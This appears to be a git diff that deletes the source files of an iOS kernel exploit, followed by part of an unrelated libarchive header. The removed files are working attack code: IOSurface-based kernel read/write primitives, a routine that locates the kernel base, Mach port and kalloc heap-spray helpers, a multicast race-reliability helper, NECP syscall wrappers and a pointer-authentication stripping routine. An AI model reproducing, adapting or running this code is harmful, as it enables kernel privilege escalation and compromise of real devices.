kern_return_t IOServiceGetMatchingServices(mach_port_t master, CFDictionaryRef matching CF_RELEASES_ARGUMENT, io_iterator_t *it);
kern_return_t _IOServiceGetAuthorizationID(io_service_t service, uint64_t *authID);
kern_return_t _IOServiceSetAuthorizationID(io_service_t service, uint64_t authID);
kern_return_t IOServiceGetBusyStateAndTime(io_service_t service, uint64_t *state, uint32_t *busyState, uint64_t *busyTime);
kern_return_t IOServiceOpen(io_service_t service, task_t task, uint32_t type, io_connect_t *client);
kern_return_t IOServiceClose(io_connect_t client);
kern_return_t IOCloseConnection(io_connect_t client);
kern_return_t IOConnectAddRef(io_connect_t client);
kern_return_t IOConnectRelease(io_connect_t client);
kern_return_t IOConnectGetService(io_connect_t client, io_service_t *service);
kern_return_t IOConnectAddClient(io_connect_t client, io_connect_t other);
kern_return_t IOConnectSetNotificationPort(io_connect_t client, uint32_t type, mach_port_t port, uintptr_t ref);
kern_return_t IOConnectMapMemory64(io_connect_t client, uint32_t type, task_t task, mach_vm_address_t *addr, mach_vm_size_t *size, uint32_t options);
kern_return_t IOConnectUnmapMemory64(io_connect_t client, uint32_t type, task_t task, mach_vm_address_t addr);
kern_return_t IOConnectSetCFProperties(io_connect_t client, CFTypeRef properties);
kern_return_t IOConnectCallMethod(io_connect_t client, uint32_t selector, const uint64_t *in, uint32_t inCnt, const void *inStruct, size_t inStructCnt, uint64_t *out, uint32_t *outCnt, void *outStruct, size_t *outStructCnt);
kern_return_t IOConnectCallScalarMethod(io_connect_t client, uint32_t selector, const uint64_t *in, uint32_t inCnt, uint64_t *out, uint32_t *outCnt);
kern_return_t IOConnectCallStructMethod(io_connect_t client, uint32_t selector, const void *inStruct, size_t inStructCnt, void *outStruct, size_t *outStructCnt);
kern_return_t IOConnectCallAsyncMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const uint64_t *in, uint32_t inCnt, const void *inStruct, size_t inStructCnt, uint64_t *out, uint32_t *outCnt, void *outStruct, size_t *outStructCnt);
kern_return_t IOConnectCallAsyncScalarMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const uint64_t *in, uint32_t inCnt, uint64_t *out, uint32_t *outCnt);
kern_return_t IOConnectCallAsyncStructMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const void *inStruct, size_t inStructCnt, void *outStruct, size_t *outStructCnt);
kern_return_t IOConnectTrap6(io_connect_t client, uint32_t index, uintptr_t a, uintptr_t b, uintptr_t c, uintptr_t d, uintptr_t e, uintptr_t f);
#endif

View File

@ -1,98 +0,0 @@
#include "kernel_base.h"
#include "kernel_rw.h"
#include "port_utils.h"
#include "spray.h"
#include "xpaci.h" // ptrauth.h replacement
#include <stdio.h>
#include <stdint.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/utsname.h>
#import <sys/sysctl.h>
extern void badLog(const char*, ...);
uint64_t g_self_proc = 0;
#pragma clang diagnostic ignored "-Wdeprecated-declarations" // syscall
uint64_t kernel_base_from_holder(mach_port_t holder, uint64_t holder_addr)
{
uint64_t kernel_base = 0;
const int receive_size = 0x10000; // Doesn't really matter
const int data_kalloc_size = 0x50; // Doesn't really matter
uint8_t *buf = calloc(1, receive_size);
mach_port_t fileport = MACH_PORT_NULL;
// read out port pointer
uint64_t port_addr = kread64(holder_addr + 8);
// init fileport
int sock = socket(AF_INET, SOCK_DGRAM, 0);
syscall(SYS_fileport_makeport, sock, &fileport);
// send new message contaning port
port_receive_msg(holder, buf, receive_size);
spray_default_kalloc_ool_ports_with_data_kalloc_size_on_port(sizeof(void *), &fileport, data_kalloc_size, holder);
// read kernel text pointer fops
uint64_t kmsg = kread64(port_addr + 0x30);
uint64_t ikm_header = xpaci(kread64(kmsg + 0x18));
uint64_t oolp_array = kread64(ikm_header + 0x24);
uint64_t oolp = kread64(oolp_array);
uint64_t kobject = xpaci(kread64(oolp + 0x58));
uint64_t fops = kread64(kobject + 0x28);
uint64_t x68 = xpaci(kread64(kmsg + 0x68));
uint64_t self_ipc_space = xpaci(kread64(x68 + 0x50));
uint64_t self_task = xpaci(kread64(self_ipc_space + 0x30));
struct utsname u;
uname(&u);
uint64_t off_task_bsd_info;
#if __arm64e__
cpu_subtype_t cpuFamily = 0;
size_t cpuFamilySize = sizeof(cpuFamily);
sysctlbyname("hw.cpufamily", &cpuFamily, &cpuFamilySize, NULL, 0);
bool isA15OrNewer;
if (cpuFamily == CPUFAMILY_ARM_BLIZZARD_AVALANCHE) {
isA15OrNewer = true;
}
else {
isA15OrNewer = false;
}
if (isA15OrNewer)
{
off_task_bsd_info = 0x3c8; // ios15.1 a15 // proc_t::task_bsd_info
}
else
{
off_task_bsd_info = 0x3b8; //; iOS15.1 a12-a14 // proc_t::task_bsd_info
}
#else
off_task_bsd_info = 0x3A0; // a9-a11
#endif
g_self_proc = xpaci(kread64(self_task + off_task_bsd_info));
// find kernel base
uint64_t pos = (fops & ~0x3FFF);
do
{
pos -= 0x4000;
} while (kread32(pos) != 0xFEEDFACF);
kernel_base = pos;
// cleanup
close(sock);
port_deallocate_n(&fileport, 1);
return kernel_base;
}

View File

@ -1,9 +0,0 @@
#ifndef __KERNEL_BASE_H__
#define __KERNEL_BASE_H__
#include <mach/mach.h>
#include <stdint.h>
uint64_t kernel_base_from_holder(mach_port_t holder, uint64_t holder_addr);
#endif

View File

@ -1,75 +0,0 @@
#include "kernel_rw.h"
#include "IOSurfaceRoot.h"
static io_connect_t _uc;
static uint32_t _surf_id;
static int _read_pipe;
static int _write_pipe;
static uint64_t _mapped_address;
void kernel_rw_preinit(uint64_t kaddr, uint8_t *buf, size_t n)
{
memset(buf, 0x07, n);
*(uint64_t *)(buf + 0x10 + 0x40) = kaddr+ 0x10; // IOSurfaceClient->IOSurface
*(uint64_t *)(buf + 0x10 + 0xB0) = 1; // See IOSurface::setCompressedTileDataRegionMemoryUsedOfPlane
*(uint64_t *)(buf + 0x10 + 0xC0 + 0x18) = kaddr + 0x20 - 0xA0; // Write destination (+0xA0 added)
_mapped_address = kaddr;
}
int kernel_rw_init(io_connect_t uc, uint32_t surf_id, int read_pipe, int write_pipe)
{
_uc = uc;
_surf_id = surf_id;
_read_pipe = read_pipe;
_write_pipe = write_pipe;
return 0;
}
uint32_t kread32(uint64_t kaddr)
{
uint8_t buf[KERNEL_RW_SIZE_FAKE_ARRAY];
read(_read_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1);
*(uint64_t *)(buf+ 0x10 + 0x40) = kaddr+ 0x10; // IOSurfaceClient->IOSurface
*(uint64_t *)(buf+ 0x10 + 0xC0 ) = kaddr - 0x14; // Write destination (+0xA0 added)
write(_write_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1);
return IOSurfaceRoot_get_surface_use_count(_uc, _surf_id);
}
uint64_t kread64(uint64_t kaddr)
{
uint8_t b[8];
*(uint32_t *)b = kread32(kaddr);
*(uint32_t *)(b + 4) = kread32(kaddr + 4);
return *(uint64_t *)b;
}
void kwrite32(uint64_t kaddr, uint32_t val)
{
uint8_t buf[KERNEL_RW_SIZE_FAKE_ARRAY];
read(_read_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1);
*(uint64_t *)(buf + 0x10 + 0x40) = kaddr+ 0x10; // IOSurfaceClient->IOSurface
*(uint64_t *)(buf + 0x10 + 0xB0) = 1; // See IOSurface::setCompressedTileDataRegionMemoryUsedOfPlane
*(uint64_t *)(buf + 0x10 + 0xC0) = kaddr - 0xA0; // Write destination (+0xA0 added)
write(_write_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1);
IOSurfaceRoot_set_compressed_tile_data_region_memory_used_of_plane(_uc, _surf_id, val);
}
void kwrite64(uint64_t kaddr, uint64_t val)
{
kwrite32(kaddr, (uint32_t)val);
kwrite32(kaddr + 4, (uint32_t)(val >> 32));
}

View File

@ -1,18 +0,0 @@
#ifndef __KERNEL_RW_H__
#define __KERNEL_RW_H__
#define KERNEL_RW_SIZE_FAKE_ARRAY 0x4000
#include "iokit.h"
void kernel_rw_preinit(uint64_t kaddr, uint8_t *buf, size_t n);
int kernel_rw_init(io_connect_t uc, uint32_t surf_id, int read_pipe, int write_pipe);
uint32_t kread32(uint64_t kaddr);
uint64_t kread64(uint64_t kaddr);
void kwrite32(uint64_t kaddr, uint32_t val);
void kwrite64(uint64_t kaddr, uint64_t val);
#endif

View File

@ -1,55 +0,0 @@
#include "mcast.h"
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <string.h>
int mcast_race_sock;
int mcast_join_group(int ip)
{
struct group_req mreq = { 0 };
struct sockaddr_in6 sin6 = {0};
mreq.gr_interface = 1;
sin6.sin6_len = sizeof(sin6);
sin6.sin6_family = AF_INET6;
sin6.sin6_port = 7878;
sin6.sin6_addr.__u6_addr.__u6_addr32[3] = 0;
sin6.sin6_addr.__u6_addr.__u6_addr32[2] = 0;
sin6.sin6_addr.__u6_addr.__u6_addr32[1] = ip;
sin6.sin6_addr.__u6_addr.__u6_addr32[0] = (htonl(0xFF000000));
memcpy(&mreq.gr_group, &sin6, sizeof(sin6));
mreq.gr_interface = 1;
return setsockopt(mcast_race_sock, IPPROTO_IPV6, MCAST_JOIN_GROUP, &mreq, sizeof(mreq));
}
void mcast_increase_race_reliability(void)
{
struct group_req mreq = { 0 };
struct sockaddr_in6 sin6 = {0};
int s = socket(AF_INET6, SOCK_DGRAM, 0);
mreq.gr_interface = 1;
sin6.sin6_len = sizeof(sin6);
sin6.sin6_family = AF_INET6;
sin6.sin6_port = 7878;
sin6.sin6_addr.__u6_addr.__u6_addr32[3] = 0;
sin6.sin6_addr.__u6_addr.__u6_addr32[2] = 0;
sin6.sin6_addr.__u6_addr.__u6_addr32[1] = 0;
sin6.sin6_addr.__u6_addr.__u6_addr32[0] = (htonl(0xFF000000));
memcpy(&mreq.gr_group, &sin6, sizeof(sin6));
for (int i = 0; i < 3000; ++i)
{
((struct sockaddr_in6 *)(&mreq.gr_group))->sin6_addr.__u6_addr.__u6_addr32[1] = i + (3000 * 3000);
setsockopt(s, IPPROTO_IPV6, MCAST_JOIN_GROUP, &mreq, sizeof(mreq));
}
}

View File

@ -1,9 +0,0 @@
#ifndef __MCAST_H__
#define __MCAST_H__
extern int mcast_race_sock;
void mcast_increase_race_reliability(void);
int mcast_join_group(int ip);
#endif

View File

@ -1,16 +0,0 @@
#include "necp.h"
#include <sys/syscall.h>
#include <unistd.h>
#pragma clang diagnostic ignored "-Wdeprecated-declarations"
int necp_open(int flags)
{
return syscall(SYS_necp_open, flags);
}
int necp_client_action(int necp_fd, uint32_t action, uint8_t *client_id, size_t client_id_len, uint8_t *buffer, size_t buffer_size)
{
return syscall(SYS_necp_client_action, necp_fd, action, client_id, client_id_len, buffer, buffer_size);
}

View File

@ -1,10 +0,0 @@
#ifndef __NECP_H__
#define __NECP_H__
#include <stdlib.h>
#include <stdint.h>
int necp_open(int flags);
int necp_client_action(int necp_fd, uint32_t action, uint8_t *client_id, size_t client_id_len, uint8_t *buffer, size_t buffer_size);
#endif

View File

@ -1,116 +0,0 @@
#include "port_utils.h"
#include <mach/mach.h>
#include <stdlib.h>
#pragma clang diagnostic ignored "-Wdeprecated-declarations" // mach_port_destroy
mach_port_t port_new(void)
{
mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };
mach_port_t port;
mach_port_construct(mach_task_self(), &options, 0, &port);
return port;
}
void port_destroy(mach_port_t p)
{
mach_port_destroy(mach_task_self(), p);
}
void port_deallocate(mach_port_t p)
{
mach_port_deallocate(mach_task_self(), p);
}
void port_destroy_n(mach_port_t *p, unsigned int count)
{
for (int i = 0; i < count; ++i)
{
mach_port_destroy(mach_task_self(), p[i]);
p[i] = 0;
}
}
void port_deallocate_n(mach_port_t *p, unsigned int count)
{
for (int i = 0; i < count; ++i)
{
mach_port_deallocate(mach_task_self(), p[i]);
}
}
int port_has_msg(mach_port_t p)
{
mach_msg_header_t msg = { 0 };
mach_msg(&msg, MACH_RCV_LARGE | MACH_RCV_MSG | MACH_RCV_TIMEOUT, 0, 0x10, p, 0, 0);
return msg.msgh_size;
}
int port_peek_trailer_size(mach_port_t p)
{
mach_port_seqno_t msg_seqno = 0;
mach_msg_size_t msg_size = 0;
mach_msg_id_t msg_id = 0;
mach_msg_trailer_t msg_trailer;
mach_msg_type_number_t msg_trailer_size = sizeof(msg_trailer);
mach_port_peek(mach_task_self(),
p,
MACH_RCV_TRAILER_NULL,
&msg_seqno,
&msg_size,
&msg_id,
(mach_msg_trailer_info_t)&msg_trailer,
&msg_trailer_size);
return msg_trailer.msgh_trailer_size;
}
void port_receive_msg(mach_port_t p, uint8_t *buf, unsigned int n)
{
mach_msg((mach_msg_header_t *)buf,
MACH_RCV_MSG | MACH_MSG_TIMEOUT_NONE,
0,
n,
p,
0,
0);
}
void port_receive_msg_n(mach_port_t *p, unsigned int count)
{
uint8_t buf[0x1000];
for (int i = 0; i < count; ++i)
{
port_receive_msg(p[i], buf, 8);
}
}
void port_receive_msg_all_n(mach_port_t *p, unsigned int count)
{
uint8_t buf[0x1000];
for (int i = 0; i < count; ++i)
{
do
{
port_receive_msg(p[i], buf, 8);
} while (port_has_msg(p[i]));
}
}
void port_receive_msg_and_deallocate_n(mach_port_t *p, unsigned int count)
{
port_receive_msg_n(p, count);
port_deallocate_n(p, count);
for (int i = 0; i < count; ++i)
{
p[i] = MACH_PORT_NULL;
}
}

View File

@ -1,22 +0,0 @@
#ifndef __PORT_UTILS_H__
#define __PORT_UTILS_H__
#include <mach/mach.h>
mach_port_t port_new(void);
void port_destroy(mach_port_t p);
void port_deallocate(mach_port_t p);
void port_destroy_n(mach_port_t *p, unsigned int count);
void port_deallocate_n(mach_port_t *p, unsigned int count);
int port_has_msg(mach_port_t p);
int port_peek_trailer_size(mach_port_t p);
void port_receive_msg(mach_port_t p, uint8_t *buf, unsigned int size);
void port_receive_msg_n(mach_port_t *p, unsigned int count);
void port_receive_msg_and_deallocate_n(mach_port_t *p, unsigned int count);
#endif

View File

@ -1,214 +0,0 @@
#include "spray.h"
#include "necp.h"
#include <mach/mach.h>
#include <stdlib.h>
mach_port_t *spray_data_kalloc_kmsg(uint8_t *data, unsigned int size, unsigned int count)
{
mach_port_t *ports = calloc(sizeof(mach_port_t), count);
mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };
mach_msg_header_t *msg = (mach_msg_header_t *)data;
memset(msg, 0, sizeof(mach_msg_header_t));
msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->msgh_size = size;
for (unsigned int i = 0; i < count; ++i)
{
mach_port_construct(mach_task_self(), &options, 0, &ports[i]);
}
for (unsigned int i = 0; i < count; ++i)
{
msg->msgh_remote_port = ports[i];
msg->msgh_id = i;
mach_msg_send(msg);
}
return ports;
}
mach_port_t spray_data_kalloc_kmsg_single(uint8_t *data, unsigned int size)
{
mach_port_t port = MACH_PORT_NULL;
mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };
mach_msg_header_t *msg = (mach_msg_header_t *)data;
memset(msg, 0, sizeof(mach_msg_header_t));
msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->msgh_size = size;
mach_port_construct(mach_task_self(), &options, 0, &port);
msg->msgh_remote_port = port;
mach_msg_send(msg);
return port;
}
void spray_data_kalloc_kmsg_on_ports(uint8_t *data, unsigned int size, unsigned int count, mach_port_t *ports)
{
mach_msg_header_t *msg = (mach_msg_header_t *)data;
memset(msg, 0, sizeof(mach_msg_header_t));
msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->msgh_size = size;
//memcpy(msg + 1, data, size-sizeof(*msg));
for (unsigned int i = 0; i < count; ++i)
{
msg->msgh_remote_port = ports[i];
msg->msgh_id = i;
mach_msg_send(msg);
}
}
mach_port_t *spray_data_kalloc_ool_descriptor(uint8_t *data, unsigned int size, unsigned int count)
{
mach_port_t *ports = calloc(sizeof(mach_port_t), count);
mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };
mach_msg_header_t *msg = (mach_msg_header_t *)calloc(1, size);
msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->msgh_size = size;
for (unsigned int i = 0; i < count; ++i)
{
mach_port_construct(mach_task_self(), &options, 0, &ports[i]);
}
for (unsigned int i = 0; i < count; ++i)
{
msg->msgh_remote_port = ports[i];
mach_msg_send(msg);
}
free(msg);
return ports;
}
mach_port_t *spray_default_kalloc_ool_ports(unsigned int size, unsigned int count, mach_port_t *ool_ports)
{
return spray_default_kalloc_ool_ports_with_data_kalloc_size(size, count, ool_ports, 0x50);
}
mach_port_t *spray_default_kalloc_ool_ports_with_data_kalloc_size(unsigned int size, unsigned int count, mach_port_t *ool_ports, unsigned int data_kalloc_size)
{
struct default_msg
{
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t desc;
};
mach_port_t *ports = calloc(sizeof(mach_port_t), count);
mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };
struct default_msg *msg = (struct default_msg *)calloc(1, 0x100);
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->hdr.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
msg->hdr.msgh_size = data_kalloc_size;
msg->body.msgh_descriptor_count = 1;
msg->desc.deallocate = 0;
msg->desc.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
msg->desc.copy = MACH_MSG_VIRTUAL_COPY;
msg->desc.disposition = MACH_MSG_TYPE_COPY_SEND;
msg->desc.count = size/8;
msg->desc.address = (void *)ool_ports;
for (unsigned int i = 0; i < count; ++i)
{
mach_port_construct(mach_task_self(), &options, 0, &ports[i]);
}
for (unsigned int i = 0; i < count; ++i)
{
msg->hdr.msgh_remote_port = ports[i];
kern_return_t kr = mach_msg_send((mach_msg_header_t *)msg);
if (kr) {
*(int *)1 = 0;
}
}
free(msg);
return ports;
}
void spray_default_kalloc_ool_ports_on_port(unsigned int size, unsigned int count, mach_port_t *ool_ports, mach_port_t p)
{
spray_default_kalloc_ool_ports_with_data_kalloc_size_on_port(size, ool_ports, 0x50, p);
}
void spray_default_kalloc_ool_ports_with_data_kalloc_size_on_port(unsigned int size, mach_port_t *ool_ports, unsigned int data_kalloc_size, mach_port_t p)
{
struct default_msg
{
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t desc;
};
struct default_msg *msg = (struct default_msg *)calloc(1, 0x100);
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->hdr.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
msg->hdr.msgh_size = data_kalloc_size;
msg->body.msgh_descriptor_count = 1;
msg->desc.deallocate = 0;
msg->desc.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
msg->desc.copy = MACH_MSG_VIRTUAL_COPY;
msg->desc.disposition = MACH_MSG_TYPE_COPY_SEND;
msg->desc.count = size/8;
msg->desc.address = (void *)ool_ports;
msg->hdr.msgh_remote_port = p;
kern_return_t kr = mach_msg_send((mach_msg_header_t *)msg);
if (kr) {
*(int *)1 = 0;
}
free(msg);
}
kern_return_t spray_kmsg_on_port(mach_port_t port, void *data, size_t size)
{
mach_msg_base_t *msg = data;
msg->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->header.msgh_remote_port = port;
msg->header.msgh_size = (mach_msg_size_t)size;
return mach_msg_send(&msg->header);
}
mach_port_t *spray_ports_with_context(unsigned int count, uint64_t context)
{
mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };
mach_port_t *ports = calloc(sizeof(mach_port_t), count);
for (unsigned int i = 0; i < count; ++i)
{
mach_port_construct(mach_task_self(), &options, context, &ports[i]);
}
return ports;
}
mach_port_t *spray_ports(unsigned int count)
{
return spray_ports_with_context(count, 0);
}
int spray_default_kalloc_necp(int necp_fd, uint8_t *b, uint32_t sz)
{
uint8_t if_id[0x10];
return necp_client_action(necp_fd, 1, if_id, sizeof(if_id), b, sz);
}

View File

@ -1,23 +0,0 @@
#ifndef __SPRAY_H__
#define __SPRAY_H__
#include <mach/mach.h>
#include <stdint.h>
mach_port_t spray_data_kalloc_kmsg_single(uint8_t *data, unsigned int size);
mach_port_t *spray_data_kalloc_kmsg(uint8_t *data, unsigned int size, unsigned int count);
void spray_data_kalloc_kmsg_on_ports(uint8_t *data, unsigned int size, unsigned int count, mach_port_t *ports);
mach_port_t *spray_default_kalloc_ool_ports(unsigned int size, unsigned int count, mach_port_t *ool_ports);
mach_port_t *spray_default_kalloc_ool_ports_with_data_kalloc_size(unsigned int size, unsigned int count, mach_port_t *ool_ports, unsigned int data_kalloc_size);
void spray_default_kalloc_ool_ports_on_port(unsigned int size, unsigned int count, mach_port_t *ool_ports, mach_port_t p);
void spray_default_kalloc_ool_ports_with_data_kalloc_size_on_port(unsigned int size, mach_port_t *ool_ports, unsigned int data_kalloc_size, mach_port_t p);
int spray_default_kalloc_necp(int necp_fd, uint8_t *b, uint32_t sz);
kern_return_t spray_kmsg_on_port(mach_port_t port, void *data, size_t size);
mach_port_t *spray_ports(unsigned int count);
mach_port_t *spray_ports_with_context(unsigned int count, uint64_t context);
#endif

View File

@ -1,18 +0,0 @@
// ptrauth.h replacement
static uint64_t __attribute((naked)) __xpaci(uint64_t a)
{
asm(".long 0xDAC143E0"); // XPACI X0
asm("ret");
}
static uint64_t xpaci(uint64_t a)
{
// If a looks like a non-pac'd pointer just return it
if ((a & 0xFFFFFF0000000000) == 0xFFFFFF0000000000)
{
return a;
}
return __xpaci(a);
}

File diff suppressed because it is too large Load Diff

View File

@ -1,721 +0,0 @@
/*-
* Copyright (c) 2003-2008 Tim Kientzle
* Copyright (c) 2016 Martin Matuska
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
* $FreeBSD: head/lib/libarchive/archive_entry.h 201096 2009-12-28 02:41:27Z kientzle $
*/
#ifndef ARCHIVE_ENTRY_H_INCLUDED
#define ARCHIVE_ENTRY_H_INCLUDED
/* Note: Compiler will complain if this does not match archive.h! */
#define ARCHIVE_VERSION_NUMBER 3006002
/*
* Note: archive_entry.h is for use outside of libarchive; the
* configuration headers (config.h, archive_platform.h, etc.) are
* purely internal. Do NOT use HAVE_XXX configuration macros to
* control the behavior of this header! If you must conditionalize,
* use predefined compiler and/or platform macros.
*/
#include <sys/types.h>
#include <stddef.h> /* for wchar_t */
#include <stdint.h>
#include <time.h>
#if defined(_WIN32) && !defined(__CYGWIN__)
#include <windows.h>
#endif
/* Get a suitable 64-bit integer type. */
#if !defined(__LA_INT64_T_DEFINED)
# if ARCHIVE_VERSION_NUMBER < 4000000
#define __LA_INT64_T la_int64_t
# endif
#define __LA_INT64_T_DEFINED
# if defined(_WIN32) && !defined(__CYGWIN__) && !defined(__WATCOMC__)
typedef __int64 la_int64_t;
# else
#include <unistd.h>
# if defined(_SCO_DS) || defined(__osf__)
typedef long long la_int64_t;
# else
typedef int64_t la_int64_t;
# endif
# endif
#endif
/* The la_ssize_t should match the type used in 'struct stat' */
#if !defined(__LA_SSIZE_T_DEFINED)
/* Older code relied on the __LA_SSIZE_T macro; after 4.0 we'll switch to the typedef exclusively. */
# if ARCHIVE_VERSION_NUMBER < 4000000
#define __LA_SSIZE_T la_ssize_t
# endif
#define __LA_SSIZE_T_DEFINED
# if defined(_WIN32) && !defined(__CYGWIN__) && !defined(__WATCOMC__)
# if defined(_SSIZE_T_DEFINED) || defined(_SSIZE_T_)
typedef ssize_t la_ssize_t;
# elif defined(_WIN64)
typedef __int64 la_ssize_t;
# else
typedef long la_ssize_t;
# endif
# else
# include <unistd.h> /* ssize_t */
typedef ssize_t la_ssize_t;
# endif
#endif
/* Get a suitable definition for mode_t */
#if ARCHIVE_VERSION_NUMBER >= 3999000
/* Switch to plain 'int' for libarchive 4.0. It's less broken than 'mode_t' */
# define __LA_MODE_T int
#elif defined(_WIN32) && !defined(__CYGWIN__) && !defined(__BORLANDC__) && !defined(__WATCOMC__)
# define __LA_MODE_T unsigned short
#else
# define __LA_MODE_T mode_t
#endif
/* Large file support for Android */
#if defined(__LIBARCHIVE_BUILD) && defined(__ANDROID__)
#include "android_lf.h"
#endif
/*
* On Windows, define LIBARCHIVE_STATIC if you're building or using a
* .lib. The default here assumes you're building a DLL. Only
* libarchive source should ever define __LIBARCHIVE_BUILD.
*/
#if ((defined __WIN32__) || (defined _WIN32) || defined(__CYGWIN__)) && (!defined LIBARCHIVE_STATIC)
# ifdef __LIBARCHIVE_BUILD
# ifdef __GNUC__
# define __LA_DECL __attribute__((dllexport)) extern
# else
# define __LA_DECL __declspec(dllexport)
# endif
# else
# ifdef __GNUC__
# define __LA_DECL
# else
# define __LA_DECL __declspec(dllimport)
# endif
# endif
#else
/* Static libraries on all platforms and shared libraries on non-Windows. */
# define __LA_DECL
#endif
#if defined(__GNUC__) && __GNUC__ >= 3 && __GNUC_MINOR__ >= 1
# define __LA_DEPRECATED __attribute__((deprecated))
#else
# define __LA_DEPRECATED
#endif
#ifdef __cplusplus
extern "C" {
#endif
/*
* Description of an archive entry.
*
* You can think of this as "struct stat" with some text fields added in.
*
* TODO: Add "comment", "charset", and possibly other entries that are
* supported by "pax interchange" format. However, GNU, ustar, cpio,
* and other variants don't support these features, so they're not an
* excruciatingly high priority right now.
*
* TODO: "pax interchange" format allows essentially arbitrary
* key/value attributes to be attached to any entry. Supporting
* such extensions may make this library useful for special
* applications (e.g., a package manager could attach special
* package-management attributes to each entry).
*/
struct archive;
struct archive_entry;
/*
* File-type constants. These are returned from archive_entry_filetype()
* and passed to archive_entry_set_filetype().
*
* These values match S_XXX defines on every platform I've checked,
* including Windows, AIX, Linux, Solaris, and BSD. They're
* (re)defined here because platforms generally don't define the ones
* they don't support. For example, Windows doesn't define S_IFLNK or
* S_IFBLK. Instead of having a mass of conditional logic and system
* checks to define any S_XXX values that aren't supported locally,
* I've just defined a new set of such constants so that
* libarchive-based applications can manipulate and identify archive
* entries properly even if the hosting platform can't store them on
* disk.
*
* These values are also used directly within some portable formats,
* such as cpio. If you find a platform that varies from these, the
* correct solution is to leave these alone and translate from these
* portable values to platform-native values when entries are read from
* or written to disk.
*/
/*
* In libarchive 4.0, we can drop the casts here.
* They're needed to work around Borland C's broken mode_t.
*/
#define AE_IFMT ((__LA_MODE_T)0170000)
#define AE_IFREG ((__LA_MODE_T)0100000)
#define AE_IFLNK ((__LA_MODE_T)0120000)
#define AE_IFSOCK ((__LA_MODE_T)0140000)
#define AE_IFCHR ((__LA_MODE_T)0020000)
#define AE_IFBLK ((__LA_MODE_T)0060000)
#define AE_IFDIR ((__LA_MODE_T)0040000)
#define AE_IFIFO ((__LA_MODE_T)0010000)
/*
* Symlink types
*/
#define AE_SYMLINK_TYPE_UNDEFINED 0
#define AE_SYMLINK_TYPE_FILE 1
#define AE_SYMLINK_TYPE_DIRECTORY 2
/*
* Basic object manipulation
*/
__LA_DECL struct archive_entry *archive_entry_clear(struct archive_entry *);
/* The 'clone' function does a deep copy; all of the strings are copied too. */
__LA_DECL struct archive_entry *archive_entry_clone(struct archive_entry *);
__LA_DECL void archive_entry_free(struct archive_entry *);
__LA_DECL struct archive_entry *archive_entry_new(void);
/*
* This form of archive_entry_new2() will pull character-set
* conversion information from the specified archive handle. The
* older archive_entry_new(void) form is equivalent to calling
* archive_entry_new2(NULL) and will result in the use of an internal
* default character-set conversion.
*/
__LA_DECL struct archive_entry *archive_entry_new2(struct archive *);
/*
* Retrieve fields from an archive_entry.
*
* There are a number of implicit conversions among these fields. For
* example, if a regular string field is set and you read the _w wide
* character field, the entry will implicitly convert narrow-to-wide
* using the current locale. Similarly, dev values are automatically
* updated when you write devmajor or devminor and vice versa.
*
* In addition, fields can be "set" or "unset." Unset string fields
* return NULL, non-string fields have _is_set() functions to test
* whether they've been set. You can "unset" a string field by
* assigning NULL; non-string fields have _unset() functions to
* unset them.
*
* Note: There is one ambiguity in the above; string fields will
* also return NULL when implicit character set conversions fail.
* This is usually what you want.
*/
__LA_DECL time_t archive_entry_atime(struct archive_entry *);
